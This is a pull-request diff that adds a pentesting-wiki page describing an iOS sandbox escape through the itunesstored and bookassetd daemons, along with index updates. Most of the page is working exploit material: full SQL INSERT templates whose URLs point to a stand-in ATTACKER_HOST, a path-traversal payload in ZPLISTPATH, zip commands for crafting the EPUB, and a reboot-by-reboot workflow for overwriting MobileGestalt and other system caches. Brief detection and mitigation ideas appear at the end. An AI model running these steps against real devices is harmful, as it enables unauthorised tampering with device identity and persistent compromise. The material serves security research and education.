Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions src/SUMMARY.md
Original file line number Diff line number Diff line change
Expand Up @@ -398,6 +398,7 @@
- [iOS Universal Links](mobile-pentesting/ios-pentesting/ios-universal-links.md)
- [iOS UIPasteboard](mobile-pentesting/ios-pentesting/ios-uipasteboard.md)
- [iOS WebViews](mobile-pentesting/ios-pentesting/ios-webviews.md)
- [Itunesstored Bookassetd Sandbox Escape](mobile-pentesting/ios-pentesting/itunesstored-bookassetd-sandbox-escape.md)
- [Cordova Apps](mobile-pentesting/cordova-apps.md)
- [Xamarin Apps](mobile-pentesting/xamarin-apps.md)

Expand Down
4 changes: 4 additions & 0 deletions src/mobile-pentesting/ios-pentesting/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -1189,6 +1189,10 @@ otool -L <application_path>
air-keyboard-remote-input-injection.md
{{#endref}}

{{#ref}}
itunesstored-bookassetd-sandbox-escape.md
{{#endref}}

## **References & More Resources**

- [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering)
Expand Down
Original file line number Diff line number Diff line change
@@ -0,0 +1,182 @@
# itunesstored & bookassetd Sandbox Escape

{{#include ../../banners/hacktricks-training.md}}

## Overview

Recent research shows that two pre-installed iOS daemons, **`itunesstored`** (downloads manager) and **`bookassetd`** (Books / iBooks asset manager), blindly trust user-writable SQLite metadata. By dropping crafted `downloads.28.sqlitedb` and `BLDatabaseManager.sqlite` files plus a minimal EPUB archive, an attacker who can write under `/var/mobile/Media/` can coerce these daemons into **arbitrary file writes across most `mobile`-owned paths inside `/private/var/`**. The primitives survive reboots and let you tamper with system group caches such as `systemgroup.com.apple.mobilegestaltcache` to spoof device properties or persist configuration.

Key properties:

- Works on devices up to at least **iOS 26.2b1** (tested on iPhone 12 / iOS 26.0.1).
- Writable targets include `SystemGroup` caches, `/private/var/mobile/Library/FairPlay`, `/private/var/mobile/Media`, and other `mobile` owned files. Writes to `root`-owned files fail.
- Needs only AFC-level access (USB file copy) or any foothold that lets you replace the target SQLite DBs and upload payloads.

## Threat Model & Requirements

1. **Local filesystem access** to `/var/mobile/Media/Downloads/` and `/var/mobile/Media/Books/` (via AFC clients like 3uTools, i4.cn, or [`afcclient`](https://github.com/emonti/afcclient) over USB, or any prior compromise).
2. **HTTP server** hosting attacker files (`BLDatabaseManager.sqlite`, `iTunesMetadata.plist`, crafted EPUB) exposed through URLs such as `https://ATTACKER_HOST/fileprovider.php?type=...`.
3. Ability to **reboot the device multiple times** to make each daemon reload its database.
4. Knowledge of the **Books system-group UUID** so the Stage 1 write lands in the right container (found via syslog).

## Stage 1 – Abusing `downloads.28.sqlitedb` via `itunesstored`

`itunesstored` processes `/var/mobile/Media/Downloads/downloads.28.sqlitedb`. The `asset` table stores URL + destination metadata and is treated as trusted input. Crafting a row that points to an attacker URL and sets `local_path` to `.../Documents/BLDatabaseManager/BLDatabaseManager.sqlite` inside the Books SystemGroup causes `itunesstored` to download and overwrite the Books database with attacker content on boot.

### Locate the Books SystemGroup UUID

1. Collect a syslog archive with [`pymobiledevice3`](https://github.com/doronz88/pymobiledevice3):
```bash
pymobiledevice3 syslog collect logs.logarchive
```
2. Open `logs.logarchive` in **Console.app** and search for `bookassetd [Database]: Store is at file:///private/var/containers/Shared/SystemGroup/<UUID>/Documents/BLDatabaseManager/BLDatabaseManager.sqlite`.
3. Record `<UUID>` and substitute it in the SQL payload.

### Malicious `asset` row

<details>
<summary>Stage 1 INSERT template</summary>

```sql
INSERT INTO "main"."asset" (
"pid","download_id","asset_order","asset_type","bytes_total",
"url","local_path","destination_url","path_extension","retry_count",
"http_method","initial_odr_size","is_discretionary","is_downloaded",
"is_drm_free","is_external","is_hls","is_local_cache_server",
"is_zip_streamable","processing_types","video_dimensions",
"timeout_interval","store_flavor","download_token","blocked_reason",
"avfoundation_blocked","service_type","protection_type",
"store_download_key","etag","bytes_to_hash","hash_type","server_guid",
"file_protection","variant_id","hash_array","http_headers",
"request_parameters","body_data","body_data_file_path","sinfs_data",
"dpinfo_data","uncompressed_size","url_session_task_id"
) VALUES (
1234567890,6936249076851270150,0,'media',NULL,
'https://ATTACKER_HOST/fileprovider.php?type=sqlite',
'/private/var/containers/Shared/SystemGroup/<UUID>/Documents/BLDatabaseManager/BLDatabaseManager.sqlite',
NULL,'epub',6,'GET',NULL,0,0,0,1,0,0,0,0,
NULL,60,NULL,466440000,0,0,0,0,'',NULL,NULL,0,
NULL,NULL,NULL,X'62706c6973743030a1015f1020...',NULL,NULL,NULL,NULL,NULL,NULL,0,1
);
```

</details>

**Fields that matter:**

- `url`: attacker-controlled endpoint returning the malicious `BLDatabaseManager.sqlite`.
- `local_path`: Books system-group `BLDatabaseManager.sqlite` file determined above.
- Control flags: keep defaults (`asset_type='media'`, `path_extension='epub'`, booleans set to 0/1 as in the template) so the daemon accepts the task.

### Deployment

1. Delete stale `/var/mobile/Media/Downloads/*` entries to avoid races.
2. Replace `downloads.28.sqlitedb` with the crafted DB via AFC.
3. Reboot → `itunesstored` downloads the Stage 2 database and drops `/var/mobile/Media/iTunes_Control/iTunes/iTunesMetadata.plist`.
4. Copy that plist to `/var/mobile/Media/Books/iTunesMetadata.plist`; Stage 2 expects it at that location.

## Stage 2 – Abusing `BLDatabaseManager.sqlite` via `bookassetd`

`bookassetd` owns broader filesystem entitlements and trusts the `ZBLDOWNLOADINFO` table. By inserting a fake purchase row that references attacker URLs and a traversal in `ZPLISTPATH`, the daemon downloads your EPUB to `/var/mobile/Media/Books/asset.epub` and later unpacks metadata into **any `mobile`-owned path reachable through `../../..` escape sequences**.

### Malicious `ZBLDOWNLOADINFO` row

<details>
<summary>Stage 2 INSERT template</summary>

```sql
INSERT INTO "ZBLDOWNLOADINFO" (
"Z_PK","Z_ENT","Z_OPT","ZACCOUNTIDENTIFIER","ZCLEANUPPENDING",
"ZFAMILYACCOUNTIDENTIFIER","ZISAUTOMATICDOWNLOAD","ZISLOCALCACHESERVER",
"ZISPURCHASE","ZISRESTORE","ZISSAMPLE","ZISZIPSTREAMABLE",
"ZNUMBEROFBYTESTOHASH","ZPERSISTENTIDENTIFIER","ZPUBLICATIONVERSION",
"ZSERVERNUMBEROFBYTESTOHASH","ZSIZE","ZSTATE","ZSTOREIDENTIFIER",
"ZSTOREPLAYLISTIDENTIFIER","ZLASTSTATECHANGETIME","ZPURCHASEDATE",
"ZSTARTTIME","ZARTISTNAME","ZARTWORKPATH","ZASSETPATH",
"ZBUYPARAMETERS","ZCANCELDOWNLOADURL","ZCLIENTIDENTIFIER",
"ZCOLLECTIONARTISTNAME","ZCOLLECTIONTITLE","ZDOWNLOADID",
"ZDOWNLOADKEY","ZENCRYPTIONKEY","ZEPUBRIGHTSPATH","ZFILEEXTENSION",
"ZGENRE","ZHASHTYPE","ZKIND","ZMD5HASHSTRINGS","ZORIGINALURL",
"ZPERMLINK","ZPLISTPATH","ZSALT","ZSUBTITLE","ZTHUMBNAILIMAGEURL",
"ZTITLE","ZTRANSACTIONIDENTIFIER","ZURL","ZRACGUID","ZDPINFO",
"ZSINFDATA","ZFILEATTRIBUTES"
) VALUES (
1,2,3,0,0,0,0,'',NULL,NULL,NULL,NULL,
0,0,0,NULL,4648,2,'765107108',NULL,
767991550.119197,NULL,767991353.245275,NULL,NULL,
'/private/var/mobile/Media/Books/asset.epub',
'productType=PUB&salableAdamId=765107106&...',
'https://p19-buy.itunes.apple.com/...',
'4GG2695MJK.com.apple.iBooks','Sebastian Saenz','Cartas de Amor a la Luna',
'../../../../../../private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library',
NULL,NULL,NULL,NULL,'Contemporary Romance',NULL,'ebook',NULL,NULL,NULL,
'/private/var/mobile/Media/Books/iTunesMetadata.plist',NULL,
'Cartas de Amor a la Luna','https://ATTACKER_HOST/fileprovider.php?type=gestalt',
'Cartas de Amor a la Luna','J19N_PUB_190099164604738',
'https://ATTACKER_HOST/fileprovider.php?type=gestalt2',NULL,NULL,NULL,NULL
);
```

</details>

Important fields:

- `ZASSETPATH`: on-disk EPUB location controlled by the attacker.
- `ZURL`/`ZPERMLINK`: attacker URLs hosting the EPUB and auxiliary plist.
- `ZPLISTPATH`: `../../../../../private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library` – the **path traversal base** appended to files extracted from the EPUB. Adjust traversal depth to reach the desired SystemGroup target.
- Purchase metadata (`ZSTOREIDENTIFIER`, names, timestamps) mimic legitimate entries so the daemon does not discard the row.

After copying the malicious DB into `/private/var/containers/Shared/SystemGroup/<UUID>/Documents/BLDatabaseManager/BLDatabaseManager.sqlite` (courtesy of Stage 1) and rebooting twice, `bookassetd` will (1) download the EPUB, (2) process it and write the derived plist under the traversed path.

## Crafting the EPUB Payload

`bookassetd` respects the EPUB ZIP format: `mimetype` must be the first uncompressed entry. To map EPUB contents to the MobileGestalt cache, build a directory tree that mirrors the desired path relative to `ZPLISTPATH`.

```
Caches/
├── mimetype
└── com.apple.MobileGestalt.plist
```

Create the archive:

```bash
zip -X0 hax.epub Caches/mimetype
zip -Xr9D hax.epub Caches/com.apple.MobileGestalt.plist
```

- `mimetype` typically contains the literal `application/epub+zip`.
- `Caches/com.apple.MobileGestalt.plist` holds the attacker-controlled payload that will land at `.../Library/Caches/com.apple.MobileGestalt.plist`.

## Orchestration Workflow

1. **Prepare files** on the attacker HTTP server and craft both SQLite DBs with host/UUID-specific values.
2. **Replace `downloads.28.sqlitedb`** on the device and reboot → Stage 1 downloads the malicious `BLDatabaseManager.sqlite` and emits `/var/mobile/Media/iTunes_Control/iTunes/iTunesMetadata.plist`.
3. **Copy `iTunesMetadata.plist`** to `/var/mobile/Media/Books/iTunesMetadata.plist` (repeat if the daemon deletes it).
4. **Reboot again** → `bookassetd` downloads `asset.epub` to `/var/mobile/Media/Books/` using Stage 2 metadata.
5. **Reboot a third time** → `bookassetd` processes the downloaded asset, follows `ZPLISTPATH`, and writes the EPUB contents into the targeted SystemGroup path (e.g., `com.apple.MobileGestalt.plist`).
6. **Verify** by reading the overwritten plist or observing that MobileGestalt-derived properties (model identifier, activation flags, etc.) change accordingly.

The same pattern lets you drop files under other `mobile`-owned caches, such as FairPlay state or persistence directories, enabling stealthy tampering without needing a kernel exploit.

## Tooling & Operational Notes

- **`pymobiledevice3 syslog collect logs.logarchive`** – extract log archives to discover the Books SystemGroup UUID.
- **Console.app** – filter for `bookassetd [Database]: Store is at ...` to recover the exact container path.
- **AFC clients (`afcclient`, 3uTools, i4.cn)** – push/pull SQLite DBs and plist files over USB without jailbreak.
- **`zip`** – enforce EPUB ordering constraints when packaging payloads.
- **Public PoC** – <https://github.com/hanakim3945/bl_sbx> ships baseline SQLite/EPUB templates you can customize.

## Detection & Mitigation Ideas

- Treat `downloads.28.sqlitedb` and `BLDatabaseManager.sqlite` as untrusted input: validate that `local_path` / `ZPLISTPATH` stay within approved sandboxes and reject fully qualified paths or traversal tokens.
- Monitor for AFC writes that replace these databases or for unexpected downloads initiated by `itunesstored` / `bookassetd` shortly after boot.
- Harden `bookassetd` unpacking to `realpath()` the output target and ensure it cannot escape the Books container before writing files.
- Restrict AFC / USB file copy channels or require user interaction before allowing replacement of Books/iTunes metadata files.

## References

- [itunesstored & bookassetd sbx escape](https://hanakim3945.github.io/posts/download28_sbx_escape/)
- [bl_sbx PoC repository](https://github.com/hanakim3945/bl_sbx)

{{#include ../../banners/hacktricks-training.md}}